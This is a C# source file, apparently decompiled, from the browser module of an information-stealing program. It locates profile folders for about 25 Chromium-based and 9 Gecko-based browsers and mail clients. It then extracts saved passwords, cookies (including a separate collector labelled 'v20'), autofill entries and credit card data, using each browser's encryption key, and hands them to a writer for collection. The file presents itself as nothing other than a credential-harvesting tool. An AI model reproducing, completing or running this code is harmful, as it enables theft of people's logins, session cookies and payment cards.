using System; using System.Collections.Generic; using System.IO; using System.Threading.Tasks; namespace SHARP { internal class Browsers { private static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); public static async Task ChromiumBrowsers() { Dictionary paths = new Dictionary() { { "Google", Path.Combine(Browsers.LocalApplicationData, "Google", "Chrome", "User Data") }, { "Yandex", Path.Combine(Browsers.LocalApplicationData, "Yandex", "YandexBrowser", "User Data") }, { "Edge", Path.Combine(Browsers.LocalApplicationData, "Microsoft", "Edge", "User Data") }, { "Opera", Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera Stable") }, { "Opera GX", Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera GX Stable") }, { "Brave", Path.Combine(Browsers.LocalApplicationData, "BraveSoftware", "Brave-Browser", "User Data") }, { "Chromium", Path.Combine(Browsers.LocalApplicationData, "Chromium", "User Data") }, { "Dragon", Path.Combine(Browsers.LocalApplicationData, "Comodo", "Dragon", "User Data") }, { "EpicPrivacy", Path.Combine(Browsers.LocalApplicationData, "Epic Privacy Browser", "User Data") }, { "Iridium", Path.Combine(Browsers.LocalApplicationData, "Iridium", "User Data") }, { "Slimjet", Path.Combine(Browsers.LocalApplicationData, "Slimjet", "User Data") }, { "UR-Browser", Path.Combine(Browsers.LocalApplicationData, "UR Browser", "User Data") }, { "Vivaldi", Path.Combine(Browsers.LocalApplicationData, "Vivaldi", "User Data") }, { "Google(x86)", Path.Combine(Browsers.LocalApplicationData, "Google(x86)", "Chrome", "User Data") }, { "MapleStudio", Path.Combine(Browsers.LocalApplicationData, "MapleStudio", "ChromePlus", "User Data") }, { "7Star", Path.Combine(Browsers.LocalApplicationData, "7Star", "7Star", "User Data") }, { "CentBrowser", Path.Combine(Browsers.LocalApplicationData, "CentBrowser", "User Data") }, { "Chedot", Path.Combine(Browsers.LocalApplicationData, "Chedot", "User Data") }, { "Kometa", Path.Combine(Browsers.LocalApplicationData, "Kometa", "User Data") }, { "Elements Browser", Path.Combine(Browsers.LocalApplicationData, "Elements Browser", "User Data") }, { "Uran", Path.Combine(Browsers.LocalApplicationData, "uCozMedia", "Uran", "User Data") }, { "Amigo", Path.Combine(Browsers.LocalApplicationData, "Amigo", "User", "User Data") }, { "Atom", Path.Combine(Browsers.LocalApplicationData, "Mail.Ru", "Atom", "User Data") }, { "Torch", Path.Combine(Browsers.LocalApplicationData, "Torch", "User Data") }, { "360Browser", Path.Combine(Browsers.LocalApplicationData, "360Browser", "Browser", "User Data") } }; List taskList = new List(); foreach (KeyValuePair path in paths) { if (Directory.Exists(path.Value)) taskList.Add(Browsers.RunChromiumBrowser(path)); } await Task.WhenAll((IEnumerable) taskList); foreach (KeyValuePair path in paths) await Browsers.RunBrowserv20(path); paths = (Dictionary) null; } public static async Task GeckoBrowsers() { Dictionary dictionary = new Dictionary(); dictionary.Add("Thunderbird", Path.Combine(Browsers.ApplicationData, "Thunderbird", "Profiles")); dictionary.Add("SeaMonkey", Path.Combine(Browsers.ApplicationData, "Mozilla", "SeaMonkey", "Profiles")); dictionary.Add("Cyberfox", Path.Combine(Browsers.ApplicationData, "8pecxstudios", "Cyberfox", "Profiles")); dictionary.Add("K-Meleon", Path.Combine(Browsers.ApplicationData, "K-Meleon", "Profiles")); dictionary.Add("IceDragon", Path.Combine(Browsers.ApplicationData, "Comodo", "IceDragon", "Profiles")); dictionary.Add("Waterfox", Path.Combine(Browsers.ApplicationData, "Waterfox", "Profiles")); dictionary.Add("Firefox", Path.Combine(Browsers.ApplicationData, "Mozilla", "Firefox", "Profiles")); dictionary.Add("Postbox", Path.Combine(Browsers.ApplicationData, "Postbox", "Profiles")); dictionary.Add("Flock", Path.Combine(Browsers.ApplicationData, "Flock", "Browser")); List taskList = new List(); foreach (KeyValuePair path in dictionary) { if (Directory.Exists(path.Value)) taskList.Add(Browsers.RunGeckoBrowser(path)); } await Task.WhenAll((IEnumerable) taskList); } private static async Task RunGeckoBrowser(KeyValuePair path) { await Task.Run((Func) (async () => { CookieFormat[] cookies = await GBRWSR.GetCookies(path.Value); if (cookies.Length == 0) return; await Writer.WriteCookies(cookies, path.Key); })); if (!(path.Key == "Firefox")) ; else { PasswordFormat[] passwords = await GBRWSR.GetPasswords(path.Value); if (passwords.Length == 0) ; else await Writer.WritePasswords(passwords); } } private static async Task RunBrowserv20(KeyValuePair path) { try { if (!Directory.Exists(path.Value)) return; await Task.Run((Func) (async () => { CookieFormat[] cookiesFromBrowser = await V20Collect.GetCookiesFromBrowser(path); if (cookiesFromBrowser.Length == 0) return; await Writer.WriteCookies(cookiesFromBrowser, path.Key); })); } catch (Exception ex) { } } private static async Task RunChromiumBrowser(KeyValuePair path) { byte[] _encrKey = await BRWSR.GetEncryptionKey(path.Value); await Task.Run((Func) (async () => { PasswordFormat[] passwords = await BRWSR.GetPasswords(path.Value, _encrKey); Console.WriteLine(passwords.Length.ToString()); if (passwords.Length == 0) return; await Writer.WritePasswords(passwords); })); await Task.Run((Func) (async () => { AutoFilesFormat[] autoFiles = await BRWSR.GetAutoFiles(path.Value); if (autoFiles.Length == 0) return; await Writer.WriteAutoFill(autoFiles, path.Key); })); await Task.Run((Func) (async () => { CreditCardFormat[] creditCards = await BRWSR.GetCreditCards(path.Value, _encrKey); if (creditCards.Length == 0) return; await Writer.WriteCreditCards(creditCards, path.Key); })); } } }